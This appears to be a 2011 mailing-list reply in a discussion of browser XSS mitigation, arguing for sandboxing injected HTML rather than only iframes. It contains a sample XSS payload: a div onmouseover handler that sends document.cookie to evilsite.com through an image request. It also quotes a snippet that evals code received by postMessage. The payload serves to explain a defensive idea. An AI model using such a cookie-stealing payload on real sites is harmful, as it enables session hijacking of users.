Re: XSS mitigation in browsers

On 21 January 2011 00:06, sird@rckc.at <sird@rckc.at> wrote:

> @Gareth
> There is a native sandbox now.. iframe@sandbox can be used to sandbox
> scripts, just throw some:
>
>  onmessage=function(e){
>     e.source.postMessage(eval(e.data.code),e.origin);
>  }
>
> on an iframe and put it in a iframe@sandbox="allow-scripts", and you
> got a sandbox API :P
>

Yeah that's a iframe sandbox, I'm talking about a general HTML sandbox. If
you inject a DIV tag then you want to be able to sandbox it. Lets say for
instance I inject:
<div onmouseover="alert(1);new Image().src='//
evilsite.com/?'+document.cookie">test</div>  so in this instance the browser
detects the injection and then sandboxes the injection and the partial HTML
it encloses, so we get a "alert(1)", we get a new image but because it's
sandboxed the document.cookie isn't sent and the external domain isn't
called.